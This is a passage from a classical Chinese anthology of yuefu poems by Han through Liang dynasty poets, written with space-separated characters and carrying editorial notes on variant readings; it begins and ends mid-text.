炎 光 再 幽 . 忽 灭 无 遗 .\n晋 傅 玄 秋 胡 行 曰 . 秋 胡 子 . 娶 妇 三 日 . 会 行 仕 宦 . 既 享 显 爵 . 保 兹 德 音 . 以 禄 颐 亲 . 韫 此 黄 金 . 睹 一 好 妇 . 采 桑 路 傍 . 遂 下 黄 金 . 诱 以 逢 卿 . 玉 磨 逾 洁 . 兰 动 弥 馨 . 源 流 洁 清 . 水 无 浊 波 . 奈 何 秋 胡 . 中 道 怀 邪 . 美 此 节 妇 . 高 行 峨 峨 . 哀 哉 可 愍 . 自 投 长 河 .\n晋 陆 机 秋 胡 行 曰 . 道 虽 一 致 . 涂 有 万 端 . 吉 凶 纷 蔼 . 休 咎 之 源 . 人 鲜 知 命 . 命 未 易 观 . 生 亦 何 惜 . 功 名 所 勤 .\n宋 谢 惠 连 秋 胡 行 曰 . 春 日 迟 迟 . 桑 何 萋 萋 . 红 桃 含 妖 . 绿 柳 舒 荑 . 邂 逅 粲 者 . 游 渚 戏 蹊 . 华 颜 易 改 . 良 愿 难 谐 .\n又 曰 . 系 风 捕 景 . 诚 知 不 得 . 念 彼 奔 波 . 意 虑 回 惑 . 汉 女 倏 忽 . 洛 神 飘 扬 . 空 勤 交 甫 . 徒 劳 陈 王 .\n魏 陈 王 曹 植 蒲 生 行 曰 . 浮 萍 寄 绿 水 . 随 风 东 西 流 . 结 发 辞 严 亲 . 来 为 君 子 仇 . 恪 勤 在 朝 夕 . 中 年 获 愆 尤 . 茱 萸 自 内 芳 . 不 若 桂 与 兰 . 佳 人 虽 成 列 . 不 若 故 所 欢 . 行 云 有 返 期 . 君 恩 傥 中 还 .\n又 妾 薄 命 行 曰 . 携 玉 手 . 喜 同 车 . 比 上 云 合 飞 除 . 钓 台 蹇 产 清 虚 . 池 塘 灵 沼 可 娱 . 仰 泛 龙 舟 渌 波 . 俯 棹 神 草 枝 柯 . 想 彼 宓 妃 洛 河 . 退 咏 汉 女 湘 娥 . 日 既 逝 矣 西 藏 . 更 会 兰 室 洞 房 . 华 灯 先 置 舒 光 . 皎 若 日 出 扶 桑 . 促 酒 合 座 行 觞 . 屡 舞 仙 仙 体 轻 . 解 裳 履 遗 绝 缨 . 齐 举 金 爵 翠 槃 . 腕 弱 不 胜 珠 环 .\n梁 简 文 帝 妾 薄 命 行 曰 . 名 都 多 雅 质 . 本 自 恃 容 姿 . 荡 子 行 不 至 . 秋 胡 无 定 期 . 玉 貌 歇 红 缕 . 长 颦 串 翠 眉 . 毛 嫱 貌 本 绝 . 踉 跄 入 毡 帷 . 卢 姬 嫁 日 晚 . 非 复 少 年 时 .\n梁 刘 孝 威 妾 薄 命 行 曰 . 去 年 从 越 漳 . 今 岁 没 朝 ○ 乐 府 诗 集 六 十 二 作 胡 . 廷 . 严 霜 封 碣 石 . 惊 沙 暗 井 陉 . 玉 簪 久 落 鬓 . 罗 衣 长 挂 屏 . 勿 言 戎 夏 隔 . 但 令 心 契 冥 . 不 见 酆 城 剑 . 千 祀 复 同 形 .\n又 古 陌 上 桑 罗 敷 行 曰 . 日 出 东 海 隅 . 照 我 秦 氏 楼 . 秦 氏 有 好 女 . 自 名 为 罗 敷 . 罗 敷 喜 蚕 桑 . 采 桑 城 南 隅 . 青 丝 为 笼 绳 . 桂 枝 为 笼 钩 . 头 上 緌 堕 髻 . 耳 中 明 月 珠 . 缃 绮 为 下 裾 . 紫 绮 为 上 襦 . 使 君 从 南 来 . 五 马 立 踟 蹰 . 使 君 遣 使 往 . 问 是 谁 家 姝 . 二 十 尚 未 然 . 十 五 颇 有 余 . 使 君 谢 罗 敷 . 宁 可 共 载 不 . 罗 敷 前 致 词 . 使 君 一 何 愚 . 使 君 自 有 妇 . 罗 敷 自 有 夫 . 东 方 千 余 骑 . 夫 婿 居 上 头 . 何 用 识 夫 婿 . 白 马 从 骊 驹 . 青 丝 系 马 尾 . 黄 金 络 马 头 . 腰 中 鹿 卢 剑 . 可 直 千 万 余 . 十 五 府 小 吏 . 二 十 朝 大 夫 . 三 十 侍 中 郎 . 四 十 专 城 居 . 为 人 洁 白 皙 . 鬓 鬓 颇 有 须 . 盈 盈 公 府 步 . 冉 冉 府 中 趋 .\n晋 陆 机 日 出 东 南 隅 行 曰 . 扶 桑 升 朝 晖 . 照 此 高 台 端 . 涉 貌 曜 皎 日 . 蕙 心 清 且 闲 . 美 目 扬 玉 泽 . 娥 眉 象 翠 翰 . 暮 春 春 服 成 . 霞 粲 绮 与 纨 . 金 雀 垂 藻 翘 . 琼 佩 结 瑶 璠 . 方 驾 扬 清 尘 . 濯 足 洛 水 澜 . 悲 歌 吐 清 响 . 雅 韵 播 幽 兰 . 赴 曲 迅 惊 鸿 . 蹈 节 如 集 鸾 . 俯 仰 纷 阿 那 . 顾 步 咸 可 欢 .\n宋 谢 灵 运 日 出 东 南 隅 行 曰 . 柏 梁 冠 南 山 . 桂 宫 燿 北 泉 . 晨 风 拂 幨 幌 . 朝 日 照 闺 轩 . 美 人 卧 屏 席 . 怀 兰 秀 瑶 璠 . 皎 洁 秋 松 气 . 淑 德 春 景 暄 .\n梁 沈 约 日 出 东 南 隅 行 曰 . 朝 日 出 邯 郸 . 照 我 丛 台 端 . 中 有 倾 国 艳 . 顾 影 织 罗 纨 . 幸 有 同 匡 好 . 西 仕 服 秦 官 . 宝 剑 垂 玉 贝 . 汗 马 饰 金 鞍 . 萦 场 类 转 雪 . 逸 控 写 腾 鸾 . 罗 衣 夕 解 带 . 玉 钗 暮 垂 冠 .\n梁 萧 子 显 日 出 东 南 隅 行 曰 . 大 明 上 迢 迢 . 阳 城 射 凌 霄 . 光 照 窗 中 妇 . 绝 世 同 阿 娇 . 逶 迤 梁 家 髻 . 冉 弱 楚 宫 腰 . 蚕 笼 拾 芳 翠 . 桑 陌 采 柔 条 . 路 逢 车 马 客 . 飞 盖 动 襜 轺 . 单 衣 鼠 毛 织 . 宝 剑 羊 头 销 . 大 夫 疲 应 对 . 御 者 辍 衔 镳 . 女 本 西 家 宿 . 君 自 上 宫 要 . 汉 马 三 万 疋 . 夫 婿 仕 嫖 姚 . 十 五 张 内 侍 . 十 八 贾 登 朝 .\n晋 陆 机 君 子 有 所 思 行 曰 . 命 驾 登 北 山 . 延 伫 望 城 郭 . 里 一 何 盛 . 街 巷 纷 漠 漠 . 甲 第 崇 高 闼 . 洞 房 结 阿 阁 . 曲 池 何 湛 湛 . 清 川 带 花 薄 . 人 生 诚 行 迈 . 容 华 随 年 落 . 善 哉 膏 梁 士 . 荣 生 奥 且 博 . 无 以 酒 肉 资 . 取 笑 葵 与 藿 .\n宋 鲍 昭 代 君 子 有 所 思 行 曰 . 西 山 登 旧 台 . 东 下 望 云 阙 . 屑 阁 肃 天 君 . 驰 道 直 如 发 . 绣 甍 结 飞 霞 . 琁 题 纳 行 月 . 陈 钟 陪 夕 宴 . 歌 笙 待 明 发 . 年 貌 不 可 留 . 身 意 会 盈 歇 .\n齐 王 融 有 所 思 曰 . 如 何 有 所 思 . 而 无 相 见 期 . 宿 昔 梦 颜 色 . 阶 庭 寻 履 綦 . 高 张 更 何 已 . 引 满 终 自 欹 . 欲 知 忧 里 老 . 为 视 镜 中 丝 .\n齐 刘 绘 有 所 思 行 曰 . 别 离 安 可 再 . 而 我 更 重 之 . 佳 人 不 相 见 . 明 月 空 在 帷 . 共 衔 满 堂 酌 . 独 敛 向 隅 眉 . 心 中 乱 如 雪 . 宁 知 有 所 思 .\n梁 庾 肩 吾 赋 得 有 所 思 行 曰 . 佳 期 竟 不 归 . 春 物 坐 芳 菲 . 拂 匣 看 离 扇 . 开 箱 见 别 衣 . 井 桐 生 未 合 . 宫 槐 卷 复 稀 . 不 及 衔 泥 鷰 . 从 来 相 逐 飞 .\n梁 沈 约 君 子 有 所 思 行 曰 . 晨 策 终 南 首 . 顾 望 咸 阳 川 . 戚 里 溯 曾 阙 . 甲 馆 负 崇 轩 . 复 涂 希 紫 阁 . 重 台 拟 望 仙 . 巴 姬 幽 兰 奏 . 郑 女 阳 春 弦 . 共 矜 红 颜 日 . 俱 忘 白 发 年 . 寂 寥 茂 陵 宅 . 照 曜 未 央 蝉 . 无 以 五 鼎 盛 . 顾 嗤 三 经 玄 .\n梁 王 僧 孺 有 所 思 行 曰 . 夜 风 吹 熠 燿 . 朝 光 照 昔 邪 . 几 销 蘼 芜 叶 . 空 落 蒲 桃 花 . 不 堪 长 织 素 . 谁 嗟 独 澣 纱 . 光 阴 复 何 极 . 望 促 反 成 赊 . 知 君 自 荡 子 . 奈 妾 亦 倡 家 .\n晋 陆 机 东 武 吟 行 曰 . 投 迹 短 世 间 . 高 步 长 生 闱 . 濯 发 冒 云 冠 . 洗 身 被 羽 衣 . 饥 从 寒 众 餐 . 寒 就 佚 女 栖 .\n宋 鲍 昭 东 武 吟 行 曰 . 主 人 且 勿 喧 . 贱 子 歌 一 言 . 仆 本 寒 乡 士 . 出 身 蒙 汉 恩 . 始 随 张 校 尉 . 召 募 到 河 源 . 后 逐 李 轾 车 . 追 虏 穷 塞 垣 . 密 涂 亘 万 里 . 宁 岁 犹 七 奔 . 将 军 既 即 世 . 部 曲 亦 罕 存 . 时 事 一 朝 异 . 孤 绩 谁 复 论 . 少 壮 辞 家 去 . 穷 老 还 入 门 . 昔 如 鞲 上 鹰 . 今 似 槛 中 猿 . 徒 结 千 载 恨 . 空 负 百 年 怨 . 弃 席 思 君 幄 . 疲 马 恋 君 轩 . 愿 垂 晋 主 惠 . 不 媿 田 子 魂 .\n梁 沈 约 东 武 吟 行 曰 . 天 德 深 且 旷 . 人 世 贱 而 浮 . 东 枝 裁 拂 景 . 西 壑 已 停 辀 . 游 辞 金 门 宠 . 去 饮 玉 池 流 . 宵 辔 绝 永 矣 . 俗 累 从 此 休 .\n晋 陆 机 顺 东 西 门 行 曰 . 日 出 西 门 望 天 庭 . 阳 谷 既 虚 崦 嵫 盈 . 逝 者 若 斯 安 得 停 . 迨 未 年 暮 及 世 平 . 置 酒 高 堂 宴 友 生 . 取 乐 今 日 尽 欢 情 .\n宋 谢 惠 连 顺 东 西 门 行 曰 . 哀 朝 囷 . 愍 颓 力 . 迁 化 常 然 焉 肯 息 . 及 壮 齿 . 遇 世 直 . 酌 酩 华 堂 集 亲 识 . 舒 情 尽 欢 遣 凄 恻 .\n又 都 东 西 门 行 曰 . 慷 恺 发 想 思 . 惆 怅 恋 音 徽 . 四 节 竞 阑 候 . 六 龙 引 颓 机 . 人 生 随 时 变 . 迁 化 焉 可 祈 . 百 年 难 必 保 . 千 虑 盈 怀 之 .\n梁 沈 约 都 东 西 门 行 曰 . 驱 马 西 城 阿 . 回 眺 想 京 阙 . 望 极 烟 原 尽 . 地 远 山 河 没 . 岁 华 委 徂 邈 . 年 霜 移 暮 发 .\n魏 文 帝 上 留 田 行 曰 . 居 世 一 何 不 同 . 上 留 田 . 富 人 食 稻 与 粱 . 上 留 田 . 贫 子 食 糟 与 糠 . 贫 贱 亦 何 伤 . 上 留 田 . 禄 命 悬 在 苍 天 . 上 留 田 . 命 尔 叹 息 将 欲 谁 怨 . 上 留 田 .\n晋 陆 机 上 留 田 行 曰 . 平 征 调 . 嗟 行 人 之 蔼 蔼 . 骏 马 陟 原 风 驰 . 轻 舟 泛 川 雷 迈 . 寒 往 暑 来 相 寻 . 零 雪 霏 霏 集 宇 . 悲 风 徘 徊 入 襟 . 岁 华 冉 冉 方 除 . 我 思 缠 绵 未 纾 . 感 时 悼 逝 凄 如 .\n又 齐 讴 行 曰 . 营 丘 负 海 曲 . 沃 野 爽 且 平 . 洪 川 控 河 济 . 崇 山 入 高 冥 . 东 被 姑 尤 侧 . 南 界 聊 摄 城 . 孟 诸 吞 楚 梦 . 百 二 侔 秦 京 . 惟 师 恢 东 表 . 桓 后 定 周 倾 . 天 道 有 迭 代 . 人 道 无 久 盈 . 行 行 将 复 去 . 长 存 非 所 营 .\n梁 沈 约 齐 讴 行 曰 . 东 秦 称 右 地 . 川 隰 固 夷 昶 . 层 峰 驾 苍 云 . 浊 河 流 素 壤 . 青 丘 良 杳 郁 . 淄 宫 信 疏 敞 . 王 佐 改 殷 命 . 霸 功 缪 周 网 .\n晋 陆 机 陇 西 行 曰 . 我 静 如 镜 . 民 动 如 烟 . 事 以 形 兆 . 应 以 象 悬 . 岂 曰 无 才 . 世 鲜 兴 贤 .\n宋 谢 惠 连 陇 西 行 曰 . 运 有 荣 枯 . 道 有 舒 屈 . 潜 保 黄 裳 . 显 服 朱 黻 . 谁 能 守 静 . 弃 华 辞 荣 . 穷 谷 是 处 . 考 槃 是 营 . 千 金 不 回 . 百 代 传 名 . 厥 包 者 柚 . 忘 忧 者 萱 . 何 为 有 用 . 自 乖 中 原 . 实 摘 柯 摧 . 叶 殒 条 烦 .\n梁 简 文 帝 陇 西 行 曰 . 边 秋 胡 马 肥 . 雪 中 惊 寇 入 . 勇 气 时 无 侣 . 轻 兵 救 边 急 . 沙 平 不 见 虏 . 嶂 险 还 相 及 . 出 塞 岂 成 歌 . 经 川 未 遑 汲 . 乌 孙 涂 更 阻 . 康 居 路 犹 涩 . 月 晕 抱 龙 城 . 星 眉 照 马 邑 . 长 安 路 远 书 不 还 . 宁 知 征 人 独 伫 立 .\n晋 陆 机 吴 趍 行 曰 . 楚 妃 且 勿 叹 . 齐 娥 且 莫 讴 . 四 坐 并 清 听 . 听 我 歌 吴 趍 . 吴 趍 自 有 纪 . 请 从 昌 门 起 . 昌 门 何 峨 峨 . 飞 阁 跨 通 波 . 重 栾 承 琁 极 . 回 轩 启 曲 阿 . 大 伯 导 仁 风 . 仲 雍 扬 其 波 . 穆 穆 延 陵 子 . 灼 灼 光 其 华 . 大 皇 自 富 春 . 矫 手 顿 世 罗 . 邦 彦 应 运 兴 . 粲 若 春 林 葩 . 属 城 咸 有 士 . 吴 邑 最 为 多 .\n汉 班 婕 妤 怨 歌 行 曰 . 新 裂 齐 纨 素 . 皎 洁 如 霜 雪 . 裁 为 合 欢 扇 . 团 团 似 明 月 . 出 入 君 怀 袖 . 动 摇 微 风 发 . 常 恐 秋 节 至 . 凉 风 夺 炎 热 . 弃 捐 箧 笥 中 . 恩 情 中 道 绝 .\n梁 江 淹 拟 班 婕 妤 咏 扇 曰 . 纨 扇 如 团 月 . 出 自 机 中 素 . 画 作 秦 王 女 . 乘 鸾 向 烟 雾 . 窃 愁 秋 凉 至 . 吹 我 玉 阶 树 . 君 子 恩 未 毕 . 零 落 委 中 路 .\n魏 陈 王 曹 植 怨 歌 行 曰 . 为 君 既 不 易 . 为 臣 良 独 难 . 忠 信 事 不 显 . 乃 有 见 疑 患 . 周 旦 佐 文 武 . 金 縢 功 不 刊 . 推 心 辅 王 政 . 二 叔 反 流 言 . 待 罪 居 东 国 . 泣 涕 当 留 连 . 皇 灵 天 动 变 . 震 雷 风 且 寒 . 拔 树 偃 秋 稼 . 天 威 不 可 干 . 素 服 开 金 縢 . 感 悟 求 其 端 . 公 旦 事 既 显 . 成 王 乃 哀 叹 . 吾 欲 竟 此 曲 . 此 曲 悲 且 长 . 今 日 乐 相 乐 . 别 后 莫 相 忘 . 晋 傅 玄 怨 诗 曰 . 昔 为 春 蚕 绪 . 今 为 秋 女 衣 . 丹 唇 形 素 齿 . 翠 采 发 娥 眉 . 玉 颜 亏 有 时 . 秀 色 随 年 衰 . 常 恐 新 闲 旧 . 变 故 兴 细 微 . 浮 萍 本 无 根 . 非 水 将 何 依 .\n梁 沈 约 怨 歌 行 曰 . 时 屯 宁 易 犯 . 俗 险 信 难 群 . 坎 壈 元 淑 赋 . 顿 挫 敬 通 文 . 遽 论 班 姬 宠 . 夙 窆 贾 生 坟 . 短 俗 同 如 此 . 长 叹 欲 何 云 .\n魏 文 帝 苦 寒 行 曰 . 北 上 太 行 山 . 艰 哉 何 巍 巍 . 羊 肠 阪 诘 屈 . 车 轮 为 之 摧 . 垄 树 何 萧 瑟 . 北 风 声 正 悲 . 溪 谷 少 人 民 . 雪 落 何 霏 霏 . 檐 囊 行 取 薪 . 斧 冰 待 作 麋 . 哀 彼 东 山 诗 . 悠 悠 使 我 悲 .\n晋 陆 机 苦 寒 行 曰 . 北 游 幽 朔 城 . 凉 野 多 险 艰 . 凝 冰 结 重 涧 . 积 雪 被 长 峦 . 阴 云 兴 岩 侧 . 悲 风 鸣 树 端 . 渴 饮 坚 冰 浆 . 饥 食 零 露 餐 . 剧 哉 人 行 役 . 慊 慊 恒 苦 寒 .\n宋 谢 灵 运 苦 寒 行 曰 . 岁 岁 曾 冰 合 . 纷 纷 霰 雪 落 . 浮 阳 灭 清 晖 . 寒 禽 叫 悲 壑 . 饥 爨 烟 不 兴 . 渴 汲 水 枯 涸 .\n魏 文 帝 善 哉 行 曰 . 有 美 一 人 . 婉 如 青 阳 . 知 音 识 曲 . 善 为 乐 方 . 流 郑 激 楚 . 度 宫 中 商 . 感 心 动 耳 . 绮 丽 难 忘 .\n魏 陈 思 王 曹 植 善 哉 行 曰 . 来 日 大 难 . 口 燥 唇 干 . 今 日 相 乐 . 皆 当 喜 欢 . 径 历 名 山 . 芝 草 翩 翩 . 仙 人 王 乔 . 奉 药 一 丸 . 自 惜 袖 短 . 内 手 知 寒 . 惭 无 灵 辄 . 以 救 赵 宣 . 月 没 参 横 . 北 斗 阑 干 . 亲 友 在 门 . 饥 不 及 餐 .\n宋 谢 惠 连 善 哉 行 曰 . 凉 来 温 谢 . 寒 往 暑 却 . 阴 灌 阳 藂 . 雕 华 坠 萼 . 击 节 当 歌 . 对 酒 亲 酌 . 鄙 哉 愚 人 . 戚 戚 怀 瘼 . 善 哉 达 士 . 滔 滔 处 乐 .\n魏 文 帝 苦 哉 行 曰 . 上 山 采 薇 . 薄 暮 苦 饥 . 溪 谷 多 风 . 霜 露 沾 衣 . 高 山 有 林 . 崖 木 有 枝 . 忧 来 无 方 . 人 莫 知 之 . 今 我 不 乐 . 岁 月 若 驰 . 汤 汤 川 流 . 中 有 行 舟 . 随 波 转 泊 . 有 似 客 游 .\n魏 陈 思 王 曹 植 君 子 行 曰 . 君 子 防 未 然 . 不 处 嫌 疑 闲 . 瓜 田 不 纳 履 . 李 下 不 正 冠 . 周 公 下 白 屋 . 吐 哺 不 及 餐 . 一 沐 三 握 发 . 后 人 称 圣 贤 .\n晋 陆 机 君 子 行 曰 . 天 道 夷 且 简 . 人 道 险 而 艰 . 休 咎 相 乘 蹑 . 翻 覆 各 波 澜 . 去 疾 苦 不 远 . 疑 似 实 生 患 .\n梁 简 文 帝 君 子 行 曰 . 君 子 怀 琬 琰 . 不 使 涅 尘 淄 . 从 容 子 云 阁 . 寂 寞 仲 舒 帷 . 多 谢 悠 悠 子 . 管 窥 良 可 悲 .\n梁 沈 约 君 子 行 曰 . 良 御 或 燕 楚 . 妙 察 乱 渑 淄 . 堤 倾 由 漏 坏 . 垣 隙 自 危 基 . 嚣 途 或 妄 践 . 谠 义 勿 轻 持 .\n梁 戴 皓 君 子 行 曰 . 画 野 依 德 星 . 开 对 廉 水 . 接 越 称 交 让 . 连 树 名 君 子 . 数 非 唯 二 失 . 升 阶 无 三 止 . 探 甑 不 凝 尘 . 正 冠 还 避 李 . 寄 言 蘧 伯 玉 . 无 为 嗟 独 耻 .\n魏 文 帝 猛 虎 行 曰 . 与 君 媾 新 欢 . 托 配 于 二 仪 . 充 列 于 紫 微 . 升 降 焉 可 知 . 何 梧 攀 凤 翼 . 云 雨 散 洪 池 .\n晋 陆 机 猛 虎 行 曰 . 渴 不 饮 盗 泉 水 . 热 不 息 恶 木 阴 . 恶 木 岂 无 枝 . 志 士 苦 用 心 . 整 驾 肃 时 命 . 振 策 将 远 寻 . 饥 食 猛 虎 窟 . 寒 栖 野 雀 林 .\n宋 谢 惠 连 猛 虎 行 曰 . 贫 不 攻 九 疑 玉 . 倦 不 憩 三 危 峰 . 九 疑 有 或 号 . 三 危 无 安 容 . 美 物 摽 贵 用 . 志 士 厉 奇 踪 . 如 何 抵 远 役 . 王 命 宜 肃 恭 . 伐 鼓 功 未 着 . 振 旅 何 时 从 .\n魏 陈 王 曹 植 平 陆 东 行 曰 . 阊 阖 开 . 天 衢 通 . 被 我 羽 衣 乘 飞 龙 . 飞 龙 与 仙 期 . 东 上 蓬 莱 采 灵 芝 . ● 芝 采 之 可 服 食 . 年 若 王 父 无 终 极 .\n又 苦 思 行 曰 . 绿 萝 缘 玉 树 . 光 曜 粲 相 晖 . 下 有 两 真 人 . 举 翅 翻 高 飞 . 我 心 何 踊 跃 . 思 欲 攀 云 追 . 郁 郁 西 岳 颠 . 石 室 青 与 天 连 . 中 有 耆 年 隐 士 须 发 皆 皓 然 . 策 杖 从 吾 游 . 教 我 要 忘 言 .\n魏 文 帝 甄 皇 后 塘 上 行 曰 . 蒲 生 我 池 中 . 蒲 叶 何 离 离 . 傍 能 行 仁 义 . 莫 若 妾 自 知 . 众 口 烁 黄 金 . 使 君 生 别 离 . 莫 以 毫 发 故 . 弃 捐 素 所 爱 . 莫 以 鱼 肉 贱 . 弃 捐 葱 与 薤 . 莫 以 麻 枲 贱 . 弃 捐 菅 与 蒯 .\n晋 陆 机 塘 上 行 曰 . 江 蓠 生 幽 渚 . 微 芳 不 足 宣 . 被 蒙 风 云 会 . 移 居 华 池 边 . 天 道 有 迁 易 . 人 理 无 常 全 . 男 稚 智 倾 愚 . 女 爱 衰 避 妍 . 不 惜 微 驱 ○ 文 选 二 十 八 作 躯 . 退 . 但 惧 苍 蝇 前 . 愿 君 广 末 光 . 照 妾 薄 暮 年 .\n宋 谢 惠 连 塘 上 行 曰 . 芳 萱 秀 凌 阿 . 菲 质 不 足 营 . 幸 有 忘 忧 用 . 移 根 托 君 庭 . 垂 颖 临 清 池 . 擢 彩 仰 华 甍 . 沾 渥 云 雨 润 . 葳 蕤 吐 芳 馨 . 愿 君 春 倾 叶 . 留 景 惠 余 明 .\n梁 沈 约 塘 上 行 曰 . 泽 兰 被 荒 径 . 孤 芳 岂 自 通 . 幸 逢 瑶 池 旷 . 得 与 金 芝 丛 . 既 美 脩 嫮 女 . 复 恍 繁 华 童 . 夙 昔 玉 霜 满 . 旦 暮 翠 条 空 . 财 殚 交 易 绝 . 华 落 色 难 终 . 所 愿 昭 阳 景 . 时 照 长 门 宫 .\n梁 刘 孝 威 塘 上 行 苦 辛 篇 曰 . 蒲 生 伊 何 陈 . 曲 中 多 苦 辛 . 黄 金 坐 销 铄 . 白 玉 遂 淄 磷 . 裂 衣 工 毁 嫡 . 掩 袖 切 谗 新 . 嫌 成 迹 易 已 . 爱 去 理 难 申 . 秦 云 犹 变 色 . 鲁 日 尚 回 轮 . 妾 歌 已 唱 断 . 君 心 终 未 亲 .\n古 相 逢 行 曰 . 相 逢 狭 路 闲 . 道 隘 不 容 车 . 不 知 何 年 少 . 夹 毂 问 君 家 . 君 家 诚 易 知 . 易 知 复 难 忘 . 黄 金 为 君 门 . 璧 玉 为 君 堂 . 中 庭 生 桂 树 . 华 灯 何 煌 煌 . 兄 弟 两 三 人 . 中 子 为 侍 郎 . 五 日 因 来 归 . 道 上 自 生 光 . 黄 金 络 马 头 . 观 者 盈 道 傍 . 入 门 一 左 顾 . 但 见 双 鸳 鸯 . 大 妇 织 绮 罗 . 中 妇 织 流 黄 . 小 妇 无 所 为 . 挟 瑟 上 高 堂 . 丈 人 且 安 坐 . 调 弦 未 遽 央 .\n宋 谢 灵 运 相 逢 行 曰 . 行 行 即 长 道 . 长 道 息 班 草 . 邂 逅 赏 心 人 . 与 我 倾 怀 抱 . 夷 世 信 难 值 . 浮 生 不 可 保 .\n梁 张 率 相 逢 行 曰 . 相 逢 夕 阴 街 . 独 趋 尚 冠 里 . 高 门 既 如 一 . 甲 第 复 相 似 . 凭 轼 日 欲 昏 . 何 处 访 公 子 . 公 子 之 所 在 . 所 在 良 易 知 . 青 楼 出 上 路 . 渐 台 临 曲 池 . 兄 弟 两 三 人 . 冠 佩 纷 陆 离 . 朝 从 禁 中 出 . 车 骑 并 驱 驰 . 金 鞍 马 脑 勒 . 聚 观 路 傍 儿 . 大 妇 刺 方 领 . 中 妇 抱 婴 儿 . 小 妇 尚 娇 稚 . 端 坐 吹 参 差 . 丈 人 幸 无 遽 . 神 凤 且 来 仪 .\n古 驱 车 上 东 门 行 曰 . 驱 车 上 东 门 . 遥 望 北 郭 墓 . 白 杨 何 萧 萧 . 松 柏 夹 广 路 . 下 有 陈 死 人 . 杳 杳 即 长 暮 . 潜 寐 黄 泉 下 . 千 载 不 觉 寤 . 浩 浩 阴 阳 移 . 年 命 如 朝 露 . 服 食 求 神 仙 . 多 为 药 所 误 . 不 如 饮 美 酒 . 被 服 纨 与 素 .\n晋 陆 机 驾 言 出 北 阙 行 曰 . 驱 马 上 东 门 . ○ 冯 校 本 云 . 意 是 题 下 注 . 今 混 写 耳 . 驾 言 出 北 阙 . 踯 躅 遵 山 陵 . 长 松 何 郁 郁 . 丘 墓 互 相 承 . 念 昔 徂 殁 子 . 悠 悠 不 可 胜 . 人 生 何 所 促 . 忽 如 朝 露 凝 . 求 仙 鲜 克 仙 . 太 虚 不 可 凌 .\n宋 鲍 昭 驱 马 上 东 门 行 曰 . 伤 禽 见 弦 惊 . 倦 客 恶 离 声 . 离 声 断 客 情 . 宾 御 皆 涕 零 . 涕 零 心 断 绝 . 将 去 复 还 诀 . 一 息 不 相 知 . 何 况 异 乡 别 . 遥 遥 征 驾 远 . 杳 杳 落 日 晚 . 居 人 掩 闺 卧 . 行 子 野 中 饭 . 食 梅 常 苦 酸 . 衣 葛 常 苦 寒 . 丝 竹 徒 满 座 . 忧 人 不 解 颜 . 长 歌 欲 自 慰 . 弥 起 长 恨 端 .\n晋 陆 机 从 军 行 曰 . 苦 哉 远 征 人 . 飘 飖 穷 西 河 . 南 涉 五 岭 颠 . 北 戍 长 城 阿 . 胡 马 如 云 屯 . 越 旗 亦 星 罗 . 朝 食 不 免 胄 . 夕 息 常 负 戈 . 苦 哉 远 征 人 . 拊 心 悲 如 何 .\n宋 颜 延 之 从 军 行 曰 . 苦 哉 远 征 人 . 毕 力 输 时 艰 . 秦 初 略 阳 越 . 汉 世 争 阴 山 . 羽 檄 旦 暮 急 . 旌 旗 昼 夜 悬 . 卧 伺 金 柝 响 . 起 候 亭 燧 燃 . 悲 矣 远 征 人 . 苦 哉 私 自 怜 .\n梁 简 文 帝 从 军 行 曰 . 贰 师 惜 善 马 . 楼 兰 贪 汉 财 . 前 年 出 右 地 . 今 岁 谢 轮 台 . 鱼 云 望 旗 聚 . 龙 沙 随 阵 开 . 冰 城 朝 浴 铁 . 地 道 夜 衔 枚 . 将 军 号 令 密 . 天 子 玺 书 催 . 何 时 反 旧 里 . 遥 见 下 机 来 .\n又 曰 . 云 中 亭 障 羽 檄 惊 . 甘 泉 烽 火 通 夜 明 . 贰 师 将 军 新 筑 营 . 嫖 姚 校 尉 初 出 征 . 复 有 山 西 将 . 绝 世 爱 雄 名 . 三 门 应 遯 甲 . 五 垒 学 神 兵 . 白 云 随 旆 色 . 苍 山 答 鼓 声 . 先 平 小 月 阵 . 却 灭 大 宛 城 . 善 马 还 长 道 . 黄 金 付 水 衡 . 小 妇 赵 人 能 鼓 瑟 . 侍 婢 初 笄 解 郑 声 . 庭 前 柳 絮 飞 欲 合 . 必 应 红 妆 来 起 迎 .\n梁 萧 子 显 从 军 行 曰 . 左 角 名 王 侵 汉 边 . 轻 薄 良 家 恶 少 年 . 纵 横 向 沮 泽 . 凌 厉 取 山 田 . 黄 尘 不 见 景 . 飞 蓬 恒 满 天 . 边 功 封 浞 野 . 窃 宠 劫 祁 连 . 春 风 春 月 将 进 酒 . 夭 姬 舞 女 乱 君 前 .\n梁 戴 皓 从 军 诗 曰 . 长 安 夜 刺 闺 . 胡 骑 白 铜 鞮 . 诏 书 发 陇 右 . 召 募 取 关 西 . 剑 悬 三 尺 鞘 . 铠 累 七 重 犀 . 侵 星 出 柳 塞 . 际 晚 入 榆 溪 . 阴 山 日 不 着 . 长 城 风 自 凄 . 弓 寒 折 锦 鞬 . 马 冻 滑 斜 蹄 . 登 山 试 下 赵 . 凭 轼 且 平 齐 . 当 今 函 谷 上 . 唯 见 一 丸 泥 .\n晋 陆 机 悲 哉 行 曰 . 游 客 芳 春 林 . 春 芳 伤 客 心 . 和 风 飞 清 响 . 鲜 云 垂 薄 阴 . 蕙 草 饶 淑 气 . 时 鸟 多 好 音 . 伤 哉 游 客 士 . 忧 思 一 何 深 . 愿 托 归 风 响 . 寄 言 遗 所 钦 .\n宋 谢 ● 运 悲 哉 行 曰 . 萋 萋 春 草 生 . 王 孙 游 有 情 . 差 池 鷰 始 飞 . 夭 袅 柳 初 荣 .\n梁 沈 约 悲 哉 行 曰 . 旅 游 媚 年 春 . 年 春 媚 游 人 . 徐 光 旦 垂 彩 . 和 露 晓 凝 津 . 时 嘤 起 稚 叶 . 蕙 气 动 初 苹 . 一 朝 阻 旧 国 . 万 里 隔 良 辰 .\n晋 张 华 门 有 车 马 客 行 曰 . 门 有 车 马 客 . 问 君 何 乡 士 . 捷 步 往 相 讯 . 果 是 旧 邻 里 . 语 昔 有 故 悲 . 论 今 无 新 喜 . 清 晨 相 访 慰 . 日 暮 不 能 已 . 词 端 竞 未 究 . 忽 唱 分 途 始 . 前 悲 尚 未 弭 . 后 忧 方 复 起 .\n晋 陆 机 门 有 车 马 客 行 曰 . 门 有 车 马 客 . 驾 言 发 故 乡 .\n念 君 久 不 归 . 濡 迹 涉 江 湘 . 投 袂 起 门 途 . 揽 衣 不 及 装 .\n借 问 邦 族 闲 . 恻 怆 论 存 亡 . 天 道 信 崇 替 . 人 生 安 得 长 .\n陆 机 短 歌 行 曰 . 置 酒 高 堂 . 悲 歌 临 觞 . 人 寿 